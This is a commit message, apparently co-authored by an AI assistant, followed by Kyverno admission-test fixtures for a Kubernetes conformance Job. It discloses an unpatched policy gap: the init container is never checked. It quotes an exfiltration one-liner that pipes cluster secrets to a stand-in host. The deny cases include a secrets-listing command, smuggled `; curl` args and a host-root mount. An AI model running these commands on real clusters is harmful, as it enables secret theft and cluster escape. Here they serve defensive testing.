`conformance/incluster/chainsaw-job.yaml` was a skeleton: `workspace` was an empty
`emptyDir` with nothing to populate it, so the Job could never have run the suite at
all. Closes docs/plans/l2-l3-conformance-ci-wiring.md §3 items 2 and 3.
The whole shape is dictated by a fail-closed Enforce policy
(platform/kyverno/admission/conformance-trigger-job-shape.yaml) that admits only
`workspace` and `results` as volume names. So:
* the read-only Gitea credential arrives as env from `secretKeyRef` on Secret
`conformance-git-readonly` -- by NAME only, no literal in the tree -- and reaches
`git` via an inline credential.helper that reads the environment, so the token is
never in argv and never on disk;
* `$TMPDIR` and `$HOME` are directories ON the `workspace` emptyDir, which keeps
`readOnlyRootFilesystem: true` without a third volume and without subPath mounts
(a kubelet-created subPath dir is root-owned 0755 and unwritable by the runner);
* `results` cannot be mounted at `conformance/_artifacts` -- that path is inside the
clone target and `git clone` refuses a non-empty target -- hence the new
`CONF_ARTIFACTS` override, honoured only when set.
The init container shallow-clones, fetches the exact commit if the shallow tip lacks
it, detaches onto it, and ASSERTS `HEAD` equals the requested SHA. The SHA must match
^[0-9a-f]{40}$, so an unrendered placeholder is a hard failure rather than a silent run
of whatever the branch tip was.
Results leave over stdout because the trigger identity has no pods/exec and admission
pins `command` to exactly ["./run.sh"], so nothing can wrap the suite. `run.sh` emits
them on an EXIT trap -- a failed run still ships its red JUnit -- between markers
carrying bytes, base64 line count and sha256 TWICE:
=== ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=.. bytes=.. lines=.. sha256=.. ===
`kubectl logs` is lossy and base64 decodes a truncated stream to plausible garbage, so
a collector that makes the five documented checks cannot mistake a partial log for a
complete artifact set. Verified locally: full decode round-trips; head-truncation,
tail-truncation, a dropped interior line and one corrupted character are each detected;
exit codes 0, an explicit 3 and a `set -e` abort all survive the trap with a matching
`rc=` in the envelope.
Admission proven with the pinned CLI rather than assumed -- `kyverno apply` on the
rendered template gives `pass: 3, fail: 0`, and negative controls on the SAME template
(a third volume; `command` wrapped in `/bin/sh -c`) each fail the expected rule. The
shape is now a `real-template` fixture so drift out of admission fails `make -C ci l0`.
FINDING, NOT FIXED HERE: that policy never reads `initContainers`. Measured -- the same
rendered template with only the init container's args replaced by
`kubectl get secrets -A | curl -X POST ... http://evil.invalid/` is ADMITTED (pass 3,
fail 0). The escalation the policy exists to stop is still reachable one field over, and
was before this Job had an init container. A security boundary changes in its own
reviewed PR, so it is documented in the manifest header and DECISIONS-LOG with the
recommended 4th rule, not patched in beside the Job that must satisfy it.
UNVERIFIED: nothing here has executed. The `conformance-runner` image does not exist
(plan §3 item 1) and Secret `conformance-git-readonly` does not exist (item 6), so the
clone, the credential helper and the log transport are unexercised against a cluster.
`ci/conformance.sh` is untouched -- CI behaviour is unchanged by this branch.
Gate (toolbox, DEV_KUBECONFIG=/dev/null + .git bind-mount shim): lint/l0/render-golden/l1
green; spec-immutability, gitea-settings and conformance SKIPPED; MERGE GATE
UNDETERMINED, rc 3. Nothing FAILED.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
230 lines
7.6 KiB
YAML
230 lines
7.6 KiB
YAML
# THE COMMITTED TEMPLATE, as conformance/incluster/chainsaw-job.yaml renders it (plan §3
|
|
# items 2 and 3): one compliant container, plus a git-clone INIT container, plus the git
|
|
# credential as env-from-secretKeyRef rather than a volume — because `workspace` and
|
|
# `results` are the only two volume names admission allows. Must be ADMITTED.
|
|
#
|
|
# This case exists so `make -C ci l0` fails if that template ever drifts out of admission.
|
|
# Keep the admission-relevant fields (image, serviceAccountName, command, args, volumes,
|
|
# securityContext, and the presence of the init container) in step with it.
|
|
#
|
|
# KNOWN GAP THIS CASE DOES NOT COVER: no rule reads `initContainers`, so this init
|
|
# container's command/args/image are unconstrained. Swapping its args for an exfiltration
|
|
# one-liner still yields pass 3 / fail 0 — see the OPEN SECURITY GAP block in
|
|
# conformance/incluster/chainsaw-job.yaml for the measurement and the follow-up. A DENY
|
|
# case is deliberately NOT added here: it would have to assert `pass` today, and would then
|
|
# break the very PR that fixes the policy.
|
|
apiVersion: batch/v1
|
|
kind: Job
|
|
metadata:
|
|
name: real-template
|
|
namespace: conformance
|
|
spec:
|
|
template:
|
|
spec:
|
|
serviceAccountName: conformance-runner
|
|
securityContext:
|
|
runAsNonRoot: true
|
|
runAsUser: 65532
|
|
fsGroup: 65532
|
|
initContainers:
|
|
- name: clone-suite-at-commit
|
|
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
|
command: ["/bin/bash", "-c"]
|
|
args: ["git clone --depth 1 \"$CONFORMANCE_REPO_URL\" \"$CONFORMANCE_SRC\""]
|
|
env:
|
|
- name: CONFORMANCE_GIT_SHA
|
|
value: "0123456789abcdef0123456789abcdef01234567"
|
|
# BY SECRET NAME ONLY — and as env, not as a volume.
|
|
- name: GITEA_USERNAME
|
|
valueFrom:
|
|
secretKeyRef: { name: conformance-git-readonly, key: username }
|
|
- name: GITEA_TOKEN
|
|
valueFrom:
|
|
secretKeyRef: { name: conformance-git-readonly, key: token }
|
|
volumeMounts:
|
|
- { name: workspace, mountPath: /workspace }
|
|
securityContext:
|
|
runAsNonRoot: true
|
|
allowPrivilegeEscalation: false
|
|
readOnlyRootFilesystem: true
|
|
capabilities: { drop: ["ALL"] }
|
|
containers:
|
|
- name: chainsaw
|
|
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
|
workingDir: /workspace/src/conformance
|
|
command: ["./run.sh"]
|
|
args: ["--layer", "l2,l3", "--include-scope", "whole-repo", "--requirements", "R-NET-01,R-TLS-02"]
|
|
env:
|
|
- name: CONF_ARTIFACTS
|
|
value: /results
|
|
- name: CONF_EMIT_ARTIFACTS_TGZ
|
|
value: "1"
|
|
volumeMounts:
|
|
- { name: workspace, mountPath: /workspace }
|
|
- { name: results, mountPath: /results }
|
|
securityContext:
|
|
runAsNonRoot: true
|
|
allowPrivilegeEscalation: false
|
|
readOnlyRootFilesystem: true
|
|
capabilities: { drop: ["ALL"] }
|
|
volumes:
|
|
- name: workspace
|
|
emptyDir: {}
|
|
- name: results
|
|
emptyDir: {}
|
|
---
|
|
# The minimal committed shape — must be ADMITTED.
|
|
apiVersion: batch/v1
|
|
kind: Job
|
|
metadata:
|
|
name: good-run
|
|
namespace: conformance
|
|
spec:
|
|
template:
|
|
spec:
|
|
serviceAccountName: conformance-runner
|
|
containers:
|
|
- name: runner
|
|
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
|
command: ["./run.sh"]
|
|
args: ["--layer", "l2,l3", "--requirements", "R-NET-01"]
|
|
securityContext:
|
|
runAsNonRoot: true
|
|
allowPrivilegeEscalation: false
|
|
volumes:
|
|
- name: workspace
|
|
emptyDir: {}
|
|
- name: results
|
|
emptyDir: {}
|
|
---
|
|
# THE ESCALATION: runner SA, but an arbitrary command. Must be DENIED.
|
|
apiVersion: batch/v1
|
|
kind: Job
|
|
metadata:
|
|
name: evil-command
|
|
namespace: conformance
|
|
spec:
|
|
template:
|
|
spec:
|
|
serviceAccountName: conformance-runner
|
|
containers:
|
|
- name: runner
|
|
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
|
command: ["/bin/sh", "-c", "kubectl get secrets -A"]
|
|
securityContext:
|
|
runAsNonRoot: true
|
|
allowPrivilegeEscalation: false
|
|
volumes:
|
|
- name: workspace
|
|
emptyDir: {}
|
|
---
|
|
# An arbitrary image running as the privileged SA. Must be DENIED.
|
|
apiVersion: batch/v1
|
|
kind: Job
|
|
metadata:
|
|
name: evil-image
|
|
namespace: conformance
|
|
spec:
|
|
template:
|
|
spec:
|
|
serviceAccountName: conformance-runner
|
|
containers:
|
|
- name: runner
|
|
image: docker.io/library/alpine:latest
|
|
command: ["./run.sh"]
|
|
securityContext:
|
|
runAsNonRoot: true
|
|
allowPrivilegeEscalation: false
|
|
volumes:
|
|
- name: workspace
|
|
emptyDir: {}
|
|
---
|
|
# A mutable TAG instead of a digest — republishable under the same reference. Must be DENIED.
|
|
apiVersion: batch/v1
|
|
kind: Job
|
|
metadata:
|
|
name: tag-not-digest
|
|
namespace: conformance
|
|
spec:
|
|
template:
|
|
spec:
|
|
serviceAccountName: conformance-runner
|
|
containers:
|
|
- name: runner
|
|
image: gitea.home.keithjackson.dev/home-network/conformance-runner:latest
|
|
command: ["./run.sh"]
|
|
securityContext:
|
|
runAsNonRoot: true
|
|
allowPrivilegeEscalation: false
|
|
volumes:
|
|
- name: workspace
|
|
emptyDir: {}
|
|
---
|
|
# Host namespaces + privilege escalation. Must be DENIED.
|
|
apiVersion: batch/v1
|
|
kind: Job
|
|
metadata:
|
|
name: host-namespaces
|
|
namespace: conformance
|
|
spec:
|
|
template:
|
|
spec:
|
|
serviceAccountName: conformance-runner
|
|
hostPID: true
|
|
containers:
|
|
- name: runner
|
|
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
|
command: ["./run.sh"]
|
|
securityContext:
|
|
runAsNonRoot: false
|
|
allowPrivilegeEscalation: true
|
|
volumes:
|
|
- name: workspace
|
|
emptyDir: {}
|
|
---
|
|
# An extra volume — the way out of a constrained pod. Must be DENIED.
|
|
apiVersion: batch/v1
|
|
kind: Job
|
|
metadata:
|
|
name: extra-volume
|
|
namespace: conformance
|
|
spec:
|
|
template:
|
|
spec:
|
|
serviceAccountName: conformance-runner
|
|
containers:
|
|
- name: runner
|
|
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
|
command: ["./run.sh"]
|
|
securityContext:
|
|
runAsNonRoot: true
|
|
allowPrivilegeEscalation: false
|
|
volumes:
|
|
- name: workspace
|
|
emptyDir: {}
|
|
- name: hostroot
|
|
hostPath:
|
|
path: /
|
|
---
|
|
# Injected args beyond the committed flags. Must be DENIED.
|
|
apiVersion: batch/v1
|
|
kind: Job
|
|
metadata:
|
|
name: injected-args
|
|
namespace: conformance
|
|
spec:
|
|
template:
|
|
spec:
|
|
serviceAccountName: conformance-runner
|
|
containers:
|
|
- name: runner
|
|
image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999
|
|
command: ["./run.sh"]
|
|
args: ["--layer", "l2", ";", "curl", "http://evil/"]
|
|
securityContext:
|
|
runAsNonRoot: true
|
|
allowPrivilegeEscalation: false
|
|
volumes:
|
|
- name: workspace
|
|
emptyDir: {}
|